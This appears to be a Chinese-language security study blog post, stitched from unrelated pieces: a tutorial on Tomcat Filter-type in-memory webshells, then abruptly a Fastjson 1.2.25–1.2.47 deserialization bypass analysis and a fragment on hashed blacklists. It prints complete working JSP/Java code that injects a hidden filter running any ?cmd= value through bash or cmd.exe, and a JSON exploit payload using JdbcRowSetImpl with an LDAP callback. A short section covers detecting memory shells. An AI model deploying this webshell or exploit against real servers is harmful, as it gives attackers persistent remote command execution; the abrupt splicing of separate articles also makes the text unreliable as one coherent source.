0%

一直都在听各位师傅讨论内存马,原本孤陋寡闻只知道一句话以及不死马。这几天终于开始学习内存马,不得不说确实很难啃,先做个总结吧。

什么是内存马

内存马即是无文件马,只存在于内存中。我们知道常见的WebShell都是有一个页面文件存在于服务器上,然而内存马则不会存在文件形式。

落地的JSP文件十分容易被设备给检测到,从而得到攻击路径,从而删除webshell以及修补漏洞,内存马也很好的解决了这个问题

0x01 Tomcat 简介

Servlet

Servlet 是一种处理请求和发送响应的程序

Tomcat 与 Servlet 的关系

Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrappe

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
    每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)

Tomcat 容器

在 Tomcat 中,每个 Host 下可以有多个 Context , 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop 或者/manager 这种,在一个 Context 下可以有着多个 Wrapper

Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行等行为

图片

图片

个人理解就是,在Tomcat服务器作用下有多个Host,Host可以看做是单独的网站,每个Host也有多个Context,Context可以看做是网站里的应用,而每个Context也有多个Wrapper,Wrapper可以看做是每个应用的功能,最后每个Wrapper都有一个Servlet,Servlet就是这个功能具体的实现。

具体参考:https://www.cnblogs.com/nice0e3/p/14622879.html

0x02 内存马简单介绍

内存马主要分为以下几类:

servlet-api类

  • filter型

  • servlet型
    spring类

  • 拦截器

  • controller型
    Java Instrumentation类

  • agent型
    这里只记录filter类型的。

学过基本的javaweb都知道,在javaweb的三大件分别是Servlet,Filter和Listener。我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作

在一般情况下,用户在客户端发送请求给服务器,服务器经过处理后并不是直接转发给Servlet,而是先通过Filter或者多个Filter(也就是Filter链)进行过滤或者其他操作,才会转接到Servlet

图片

具体过程如上图所示,我们的请求会通过filter最终才会到达servlet,如果我们能够在程序运行阶段创建一个filter并能让他触发(一般是放在filter链的第一个),我们的filter就会触发。当我们在其添加恶意代码时,就可以满足我们的执行命令需求,这样就成了一个内存马

以上部分是我抽取了自认为比较重要的部分,剔除了其他比较冗杂的知识。但总体而言整个过程应该如下:

首先我们在tomcat的解析流程中,我们先了解到的是Connector,它又被称作为连接器,真正起到作用是Connector内部的ProtocolHandler处理器,这个ProtocolHandler处理器封装用户发起的网络请求所对应的Request对象,和当内部处理完返回过来的Response对象。

那么当Connector的ProtocolHandler处理器封装完Request对象之后,就会发送给Container,这个Container容器则是负责封装和管理Servlet和处理用户的servlet请求,这里所谓的Servlet请求其实就是处理Request对象,在处理请求中,起作用的角色则是Container中的Pipeline-Value管道来处理的,当Pipeline-Value处理完之后,接着就会看到一个FilterChain对象,这个对象肯定都很熟悉,因为在学习Servlet的时候是经常出现的,比如我们想要对传进来的数据先做一定的处理,然后再到Servlet对象中进行处理,这里都会用到这个FilterChain对象,最后转接到Filter

所以我们的目标很明确了,想办法动态注册一个filter,然后将其放在filter链的首位。

0x03 Tomcat Filter 流程分析

注入Filter马之前,先了解下正常Filter是怎么运行的

先自己写一个filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Demo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter init");
    }



    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        response.setCharacterEncoding("utf-8");
        request.setCharacterEncoding("utf-8");
        response.setContentType("text/html;Charset=UTF-8");
        System.out.println("接收到了请求,并且马上进行过滤");
        chain.doFilter(request, response); //chain.doFilter将请求转发给过滤器链下一个filter,如果没有filter那就是转发给Servlet,你需要请求的资源
        System.out.println("过滤完了");
    }



    @Override
    public void destroy() {
        System.out.println("WOW Filter destroy");
    }
}

Servlet实现的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class MyServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("我是doGet方法");
        resp.getWriter().print("success");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

这里可以用web.xml注册下,也可以直接用注解。为了后续方便,这里添加web.xml,设置url-pattern为 /demo 即访问 /demo 才会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<filter>
<filter-name>Demo</filter-name>
<filter-class>Demo</filter-class>
</filter>

<filter-mapping>
<filter-name>Demo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>

</web-app>

结果如下,可以看到是 过滤器先接收到请求,然后再转发给Servlet,然后Servlet走了之后又回到过滤器中再之后doFilter之后的内容
图片

上面了解了关于Filter对象的学习,那么其实内存马也差不多了解了,就是对一个Filter接口实现的对象

先实现一个简单的Filter对象的命令执行的效果

首先那么就是在接口中进行对数据的传入进行判断,对于特殊的字段进行判断,比如”cmd”,”command”类似的headers来进行判断,这种实现了之后,我们还需要进行全局过滤,就是任何一个路径都需要进行过滤,所以在Servlet中实现的时候,映射的Mapping也需要是为/*这种形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class DemoFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null){
            Process exec = Runtime.getRuntime().exec(request.getParameter("cmd"));
            InputStream inputStream = exec.getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
            String output = scanner.hasNext() ? scanner.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
        System.out.println("过滤器调用完毕,开始转发给Servlet...");
        chain.doFilter(request,response);

    }

    @Override
    public void destroy() {

    }
}

访问输入命令即可运行并且回显在页面上
上面是关于过滤链,那么对于内存马的实现,首先得明白一点,在实战环境下,你不可能写一个Filter对象然后又放到对方的代码中,这样子不就早getshell了

所以对于内存马,我们是需要找到一个注入点,动态的在内存中创建一个Filter对象

0x04 Filter型内存马注入

知识点1:ServletContext

web应用启动的时候,都会产生一个ServletContext为接口的对象,因为在web中这个ServletContext对象的一些数据能够保证Servlets稳定运行

那么该对象如何获得?

在tomcat容器中ServletContext的实现类是ApplicationContext类

在web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以说我们在tomcat中拿到StandardContext则是去获取ApplicationContextFacade这个对象。

我们这里通过一个ServletContext servletContext = this.getServletContext();来进行观察这个servletContext是不是我们上面所说的ApplicationContextFacade这个对象

图片

图片

我们可以看到这个名为ApplicationContextFacade类,到这里可以说明Tomcat的ServletContext对象确实是ApplicationContextFacade对象

调试具体流程前,了解下可能会遇到的一些类

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

ok,现在开始分析下Tomcat是怎么调用我们自定义的filter。

知识点2:组装Filters的流程

这调试tomcat的话,需要注意的记得把tomcat下的lib文件导入到idea工程中,要不然idea在调试的时候是找不到的

找到ApplicationFilterChain对象中,internalDoFilter方法上打上断点

图片

继续跟,可以看到这个internalDoFilter方法获取到了我们所实现的MemoryFilter对象

图片

图片

internalDoFilter方法中接着又会开始调用MemoryFilter对象中实现的doFilter方法

图片

接着就是来到了我们所实现的doFilter的方法,也就是我们执行命令的方法

图片

这里为什么下断点会下在ApplicationFilterChain对象中的internalDoFilter呢

首先来看ApplicationFilterChain对象是什么,这个其实就是调用Filter对象的调度类,就是专门拿来调用所有实现的Filter对象的doFilter方法,其中的internalDoFilter就是去调用我们Filter对象中实现的doFilter方法的一个手段

ApplicationFilterChain这个对象又是哪来的呢?我们可以从调用栈中进行观察,下面的图中可以看到StandardWrapperValve这个类中的invoke方法来进行调用的

图片

来到这个StandardWrapperValve的调用栈invoke方法中,可以看到是通过doFilter来进行调用

图片

在StandardWrapperValve类的invoke中,往上拉,其中可以看到这里的filterChain为ApplicationFilterChain的实例化,到这里就可以思考下,上面说到的filterChain.doFilter的filterChain,原来filterChain属性是通过ApplicationFilterFactory.createFilterChain这个方法所获得的,这里继续跟到createFilterChain方法中进行查看

图片

跟进createFilterChain的方法中,它会获取一个StandardContext对象(这个就是我们先引入的知识点1),通过这个对象的findFilterMaps方法来获得所有需要调用的Filter对象,获得到的Filter对象都会放到一个filterMaps的FilterMap数组中去,可以看到当前获得的就两个Filter,其中一个是tomcat默认的,还有个就是我们自己实现的MemoryFilter对象,filterMaps中的 filterMap 主要存放了过滤器的名字以及作用的 url,继续往下看

图片

发现会遍历 FilterMaps 中的 FilterMap(每个FilterMap都包含了每个Filter的相关信息),每次拿到一个FilterMap对象就是通过判断会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入 if 判断,将 filterConfig 添加到 filterChain中,而这里的filterChain属性就是外面的这个ApplicationFilterChain对象,到这里要调用的每个Filter对象都拼装好了,全部都放入了ApplicationFilterChain对象,ApplicationFilterChain这个对象我们上面也讲过,是一个调度类,专门调用每个Filter的doFilter方法。

跟进addFilter函数

图片

在addFilter函数中首先会遍历filters,然后针对filter进行去重

下面这个 if 判断其实就是扩容,如果 n 已经等于当前 filters 的长度了就再添加10个容量,最后将我们的filterConfig 添加到 filters中

图片

至此 filterChain 组装完毕,重新回到 StandardContextValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法

图片

在 doFilter 方法中会调用 internalDoFilter方法

图片

在internalDoFilter方法中首先会依次从 filters 中取出 filterConfig

知识点3:FilterConfig

现在已经知道了ApplicationFilterChain这个对象的由来和它的作用,我们继续整理下,先是经过一系列的处理最后拿到了ApplicationFilterChain这个对象,这个对象中包含了每个Filter的相关配置信息,最后则开始调用其中的doFilter方法

继续来看createFilterChain方法帮我们做的事情,它实现的Filter的添加,createFilterChain这个方法返回的filterChain最终会被进行调用,那么我们如果能实现在filterChain进行插入的话,那是不是我们就成功的实现了添加自定义的Filter对象?

答案是的,那需要如何实现?回到这个createFilterChain方法中,我们可以看下如下,每次成功添加一个filterConfig则意味着Filter对象的成功被添加进去

图片

这个FilterConfig对象中包含着如下属性

图片

该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

那么想要实现一个完整的filterConfig,那么也就是需要这三个,一个是ServletContext,一个是filter,一个是filterDef

这里我们第一步为什么要先获取ServletContext对象,原因就是想要获取filterConfigs就需要通过ServletContext来获取

做个总结

  1. 根据请求的 url 从 FilterMaps 中找出与之 url 对应的 Filter 名称
  2. 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  3. 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  4. filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法
    根据上面的简单总结,可以发现最开始是从 context 中获取的 FilterMaps,将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存马

之前分析流程的时候,我们知道FiltersMaps是从context中获取的。

图片

那很明显了,我们要先获得这个context,这里看大佬的笔记是先从request获取,将servletcontext转为standardcontext从而获取context

ps:当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用

1
2
3
4
5
6
7
8
9
10
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

其他获取的方法比如从线程获取等,但还没去看,先放一放
大致流程如下:

  1. 创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
    每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class InjectMemoryServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = req.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                resp.getWriter().write("Success");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

这里的javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3,该方法只支持Tomcat7.x以上

1
filterMap.setDispatcher(DispatcherType.REQUEST.name());

最终内存马是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "test;
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}

};



FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

开启服务,访问该内存马显示成功,随后?cmd=command便能执行我们的命令(这里是linux平台,可以做一点修改)
这里举个例子,先判断系统,再对命令执行的细节进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();

0x05 排查内存马的几个方法

要排查的前提是先识别出,所以要思考下内存马有什么特征

  1. 名字
    内存马的Filter名一般比较特别,有shell或者随机数等关键字。这个因素并不一定完全正确,因为这取决于内存马的构造者的习惯,构造完全可以设置一个看起来很正常。

  2. filter优先级是第一位
    为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需。但其他场景下就非必须,只能做一个可疑点。

  3. 对比web.xml中没有filter配置
    内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,这也是个可以的特征。但servlet 3.0引入了@WebFilter标签方便开发这动态注册Filter。这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征。

  4. 特殊classloader加载
    我们都知道Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader
  • com.sun.org.apache.bcel.internal.util.ClassLoader
    这个同Filter名一样,只是作为一个可以参考的因素来决定,不一定完全正确,攻击者也可以完全绕过这两个类来进行构造

0x01 影响版本

Fastjson 1.2.x系列的1.2.25-1.2.47版本。

0x02 限制

主要是JDK版本对于JDNI注入的限制,基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。

0x03 复现利用

本次Fastjson反序列化漏洞也是基于checkAutoType()函数绕过的,并且无需开启AutoTypeSupport,大大提高了成功利用的概率。

绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

Demo如下,无需开启AutoTypeSupport,本地Fastjson用的是1.2.47版本:

1
2
3
4
5
6
7
8
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}

此外,还需要开启RMI服务或LDAP服务以及放置恶意类的Web服务,具体可参考之前的Fastjson系列文章即可。
运行能成功弹计算器

POC:

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
}

可以看到还是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来攻击利用的,因此除了JDK版本外几乎没有限制。
但是如果目标服务端开启了AutoTypeSupport呢?

经测试发现:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

    0x04 调试分析

下面我们来调试分析下该PoC为啥会成功。

不受AutoTypeSupport影响的版本

不受AutoTypeSupport影响的版本为1.2.33-1.2.47,本次调试的是1.2.47版本。

未开启AutoTypeSupport时

在调用DefaultJSONParser.parserObject()函数时,其会对JSON数据进行循环遍历扫描解析。

在第一次扫描解析中,进行checkAutoType()函数,由于未开启AutoTypeSupport,因此不会进入黑白名单校验的逻辑;由于@type执行java.lang.Class类,该类在接下来的findClass()函数中直接被找到,并在后面的if判断clazz不为空后直接返回:

图片

图片

往下调试,调用到MiscCodec.deserialze(),其中判断键是否为”val”,是的话再提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量

图片

图片

图片

接着判断clazz是否为Class类,是的话调用TypeUtils.loadClass()加载strVal变量值指向的类

图片

图片

在TypeUtils.loadClass()函数中,成功加载com.sun.rowset.JdbcRowSetImpl类后,就会将其缓存在Map中

图片

在扫描第二部分的JSON数据时,由于前面第一部分JSON数据中的val键值”com.sun.rowset.JdbcRowSetImpl”已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测

图片

图片

图片

开启AutoTypeSupport时

由前面知道,开启AutoTypeSupport后,在checkAutoType()函数中会进入黑白名单校验的代码逻辑。

在第一部分JSON数据的扫描解析中,由于@type指向java.lang.Class,因此即使是开启AutoTypeSupport先后进行白名单、黑名单校验的情况下都能成功通过检测,之后和前面的一样调用findClass()函数获取到Class类

图片

图片

图片

关键在于第二部分JSON数据的扫描解析。第二部分的@type指向的是利用类”com.sun.rowset.JdbcRowSetImpl”,其中的”com.sun.”是在denyList黑名单中的,但是为何在检测时能成功绕过呢?

我们调试发现,逻辑是先进行白名单再进行黑名单校验,在黑名单校验的if判断条件中是存在两个必须同时满足的条件的

1
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞

受AutoTypeSupport影响的版本

受AutoTypeSupport影响的版本为1.2.25-1.2.32,本次调试的是1.2.25版本。

开启AutoTypeSupport时

我们在开启AutoTypeSupport之后,会利用失败,报如下错

1
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

调试发现,在第一部分JSON数据的解析中,checkAutoType()函数的处理过程和前面是差不多的。能够成功通过该函数的检测,因此问题不在这,继续往下调试。
在第二部分JSON数据的解析中,@type指向的”com.sun.rowset.JdbcRowSetImpl”在checkAutoType()函数中会被dentList黑名单中的”com.sun.”匹配到,因此会直接报错显示不支持

图片

图片

可以明显看到,第一个if语句是白名单过滤,第二个if语句是黑名单过滤,其中黑名单过滤的if语句中的判断条件和前面的不受影响的版本的不一样,对比下是少了个判断条件,即TypeUtils.getClassFromMapping(typeName) == null

未开启AutoTypeSupport时

当不开启AutoTypeSupport时就不会进入该黑白名单校验的代码逻辑中,就不会被过滤报错。

这里,我们换个不受AutoTypeSupport影响的且未使用哈希黑名单的版本来方便我们进行对比查看,这里选了1.2.33,看下checkAutoType()中对应的代码

图片

对比黑名单校验的if判断语句条件就知道了,为什么后面的版本不受影响,那是因为通过&&多添加了一个判断条件TypeUtils.getClassFromMapping(typeName) == null,但是第二部分JSON内容中的类已经通过第一部分解析的时候加载到Map中缓存了,因此该条件不成立从而成功绕过

1
2
3
4
5
// 受AutoTypeSupport影响的版本
if (className.startsWith(deny)) {

// 不受AutoTypeSupport影响的版本
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {

0x05 补丁分析

1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。

运行会报错:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl

调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了
1.2.48版本

图片

1.2.47版本

图片

图片

导致目标类并不能缓存到Map中了

图片

图片

因此,即使未开启AutoTypeSupport,但com.sun.rowset.JdbcRowSetImpl类并未缓存到Map中,就不能和前面一样调用TypeUtils.getClassFromMapping()来加载了,只能进入后面的代码逻辑进行黑白名单校验被过滤掉

图片

在1.2.24之后的版本中,使用了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。

网上一些文章讲的都是针对特定版本的补丁绕过,其实实际上并不只是针对该特定版本,而是针对从1.2.25开始的一系列版本

PS:需开启AutoTypeSupport才能成功。

0x01 hash黑名单

通过对黑名单的研究,我们可以找到具体版本有哪些利用链可以利用。

从1.2.42版本开始,Fastjson把原本明文的黑名单改成了哈希过的黑名单,目的就是为了防止攻击者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist

